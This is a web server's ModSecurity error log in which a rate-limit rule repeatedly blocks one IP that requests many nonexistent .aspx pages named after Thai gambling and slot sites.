[Tue Jan 27 06:24:12.113141 2026] [:error] [pid 41780:tid 41792] [client 147.135.212.202:49030] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%9A%E0%B8%97%E0%B8%9F%E0%B8%B4%E0%B8%81.aspx"] [unique_id "aXfpjFvu-XLQ0TaZ4FFvRwAAAQo"]
[Tue Jan 27 06:24:14.656706 2026] [:error] [pid 7561:tid 7582] [client 147.135.212.202:49034] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXfpjrXGI6mgvHQqkXweiQAAANI"]
[Tue Jan 27 06:24:17.019171 2026] [:error] [pid 7454:tid 7524] [client 147.135.212.202:55076] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95.aspx"] [unique_id "aXfpkZltCoZEfMmfl8Bz6AAAAIg"]
[Tue Jan 27 06:24:19.540156 2026] [:error] [pid 41780:tid 41796] [client 147.135.212.202:55092] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXfpk1vu-XLQ0TaZ4FFvUgAAAQ4"]
[Tue Jan 27 06:24:22.092772 2026] [:error] [pid 7453:tid 7509] [client 147.135.212.202:55102] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%A1%E0%B8%B5%20%E0%B8%84%E0%B8%99%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%A1%E0%B8%B2%E0%B8%81%20%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXfplhfsyA2ws_ADquieqAAAAFQ"]
[Tue Jan 27 06:24:24.610185 2026] [:error] [pid 7453:tid 7500] [client 147.135.212.202:55106] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%2020%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200.aspx"] [unique_id "aXfpmBfsyA2ws_ADquierAAAAEs"]
[Tue Jan 27 06:24:27.048290 2026] [:error] [pid 41780:tid 41793] [client 147.135.212.202:34448] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20456%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXfpm1vu-XLQ0TaZ4FFvWQAAAQs"]
[Tue Jan 27 06:24:29.469100 2026] [:error] [pid 7452:tid 7476] [client 147.135.212.202:34450] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXfpnWlXocEpHDB6FUZ5sQAAAA8"]
[Tue Jan 27 06:24:31.859789 2026] [:error] [pid 7561:tid 7569] [client 147.135.212.202:34460] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXfpn7XGI6mgvHQqkXwelQAAAMU"]
[Tue Jan 27 06:24:34.391811 2026] [:error] [pid 7454:tid 7536] [client 147.135.212.202:34476] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201%20%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%A5%E0%B8%81%20%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%82%E0%B8%9A%E0%B8%99%E0%B8%B1%E0%B8%AA%20%E0%B8%94%E0%B8%B5%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXfpopltCoZEfMmfl8B0AgAAAJQ"]
[Tue Jan 27 06:24:36.773106 2026] [:error] [pid 7452:tid 7471] [client 147.135.212.202:47308] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx"] [unique_id "aXfppGlXocEpHDB6FUZ5wQAAAAo"]
[Tue Jan 27 06:24:39.320047 2026] [:error] [pid 7453:tid 7494] [client 147.135.212.202:47316] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%20%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201.aspx"] [unique_id "aXfppxfsyA2ws_ADquievAAAAEU"]
[Tue Jan 27 06:24:41.813983 2026] [:error] [pid 7561:tid 7588] [client 147.135.212.202:47320] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXfpqbXGI6mgvHQqkXwengAAANg"]
[Tue Jan 27 06:24:44.317992 2026] [:error] [pid 7453:tid 7497] [client 147.135.212.202:47332] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXfprBfsyA2ws_ADquiewgAAAEg"]
[Tue Jan 27 06:25:05.543856 2026] [:error] [pid 7452:tid 7474] [client 147.135.212.202:56258] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123betting.aspx"] [unique_id "aXfpwWlXocEpHDB6FUZ59wAAAA0"]
[Tue Jan 27 06:25:07.934629 2026] [:error] [pid 41780:tid 41802] [client 147.135.212.202:36672] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24%20%E0%B8%AB%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXfpw1vu-XLQ0TaZ4FFveQAAARQ"]
[Tue Jan 27 06:25:10.431637 2026] [:error] [pid 7454:tid 7531] [client 147.135.212.202:36684] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24th%20slot.aspx"] [unique_id "aXfpxpltCoZEfMmfl8B0UAAAAI8"]
[Tue Jan 27 06:25:13.083751 2026] [:error] [pid 7454:tid 7531] [client 147.135.212.202:36686] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aXfpyZltCoZEfMmfl8B0XwAAAI8"]
[Tue Jan 27 06:25:15.716632 2026] [:error] [pid 7452:tid 7476] [client 147.135.212.202:36690] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/369%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfpy2lXocEpHDB6FUZ6BQAAAA8"]
[Tue Jan 27 06:25:18.207648 2026] [:error] [pid 7452:tid 7466] [client 147.135.212.202:46102] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55%20superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXfpzmlXocEpHDB6FUZ6CQAAAAU"]
[Tue Jan 27 06:25:20.715226 2026] [:error] [pid 7452:tid 7469] [client 147.135.212.202:46104] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/888%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfp0GlXocEpHDB6FUZ6EAAAAAg"]
[Tue Jan 27 06:25:23.229742 2026] [:error] [pid 41780:tid 41783] [client 147.135.212.202:46116] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allslot%20wallet%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050.aspx"] [unique_id "aXfp01vu-XLQ0TaZ4FFvkAAAAQE"]
[Tue Jan 27 06:25:25.718726 2026] [:error] [pid 41780:tid 41805] [client 147.135.212.202:46126] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aXfp1Vvu-XLQ0TaZ4FFvkgAAARc"]
[Tue Jan 27 06:25:28.356504 2026] [:error] [pid 7453:tid 7503] [client 147.135.212.202:37478] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bet365%20%E0%B9%84%E0%B8%97%E0%B8%A2.aspx"] [unique_id "aXfp2BfsyA2ws_ADquifBQAAAE4"]
[Tue Jan 27 06:25:30.853487 2026] [:error] [pid 7452:tid 7465] [client 147.135.212.202:37492] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXfp2mlXocEpHDB6FUZ6IgAAAAQ"]
[Tue Jan 27 06:25:33.358004 2026] [:error] [pid 7452:tid 7474] [client 147.135.212.202:37494] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20net%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXfp3WlXocEpHDB6FUZ6JwAAAA0"]
[Tue Jan 27 06:25:35.691658 2026] [:error] [pid 7453:tid 7493] [client 147.135.212.202:37508] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aXfp3xfsyA2ws_ADquifEgAAAEQ"]
[Tue Jan 27 06:25:38.193360 2026] [:error] [pid 7452:tid 7461] [client 147.135.212.202:59262] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXfp4mlXocEpHDB6FUZ6MwAAAAA"]
[Tue Jan 27 06:25:40.848778 2026] [:error] [pid 7452:tid 7479] [client 147.135.212.202:59268] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXfp5GlXocEpHDB6FUZ6OQAAABI"]
[Tue Jan 27 06:25:43.338340 2026] [:error] [pid 7452:tid 7474] [client 147.135.212.202:59276] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/faw99%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfp52lXocEpHDB6FUZ6PwAAAA0"]
[Tue Jan 27 06:25:45.840432 2026] [:error] [pid 7452:tid 7468] [client 147.135.212.202:55846] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aXfp6WlXocEpHDB6FUZ6RAAAAAc"]
[Tue Jan 27 06:25:48.475145 2026] [:error] [pid 7454:tid 7530] [client 147.135.212.202:55858] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXfp7JltCoZEfMmfl8B0gwAAAI4"]
[Tue Jan 27 06:25:50.953490 2026] [:error] [pid 7454:tid 7520] [client 147.135.212.202:55866] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfp7pltCoZEfMmfl8B0hgAAAIQ"]
[Tue Jan 27 06:27:10.577682 2026] [:error] [pid 7561:tid 7571] [client 147.135.212.202:41428] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n83%20com%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfqPrXGI6mgvHQqkXwfqwAAAMc"]
[Tue Jan 27 06:27:13.052488 2026] [:error] [pid 7561:tid 7566] [client 147.135.212.202:54766] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pay69%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfqQbXGI6mgvHQqkXwfsQAAAMI"]
[Tue Jan 27 06:27:15.631945 2026] [:error] [pid 7454:tid 7521] [client 147.135.212.202:54770] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXfqQ5ltCoZEfMmfl8B1OwAAAIU"]
[Tue Jan 27 06:27:18.095641 2026] [:error] [pid 7452:tid 7485] [client 147.135.212.202:39186] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aXfqRmlXocEpHDB6FUZ6qQAAABg"]
[Tue Jan 27 06:27:20.605429 2026] [:error] [pid 7561:tid 7568] [client 147.135.212.202:39200] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXfqSLXGI6mgvHQqkXwfwQAAAMQ"]
[Tue Jan 27 06:27:23.255398 2026] [:error] [pid 7561:tid 7569] [client 147.135.212.202:39204] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aXfqS7XGI6mgvHQqkXwfxAAAAMU"]
[Tue Jan 27 06:27:25.822965 2026] [:error] [pid 7454:tid 7534] [client 147.135.212.202:45838] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXfqTZltCoZEfMmfl8B1SAAAAJI"]
[Tue Jan 27 06:27:28.357690 2026] [:error] [pid 7453:tid 7512] [client 147.135.212.202:45840] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXfqUBfsyA2ws_ADquifegAAAFc"]
[Tue Jan 27 06:27:30.846022 2026] [:error] [pid 7561:tid 7579] [client 147.135.212.202:45844] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aXfqUrXGI6mgvHQqkXwf0QAAAM8"]
[Tue Jan 27 06:27:33.474758 2026] [:error] [pid 7454:tid 7524] [client 147.135.212.202:45856] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg168.aspx"] [unique_id "aXfqVZltCoZEfMmfl8B1VwAAAIg"]
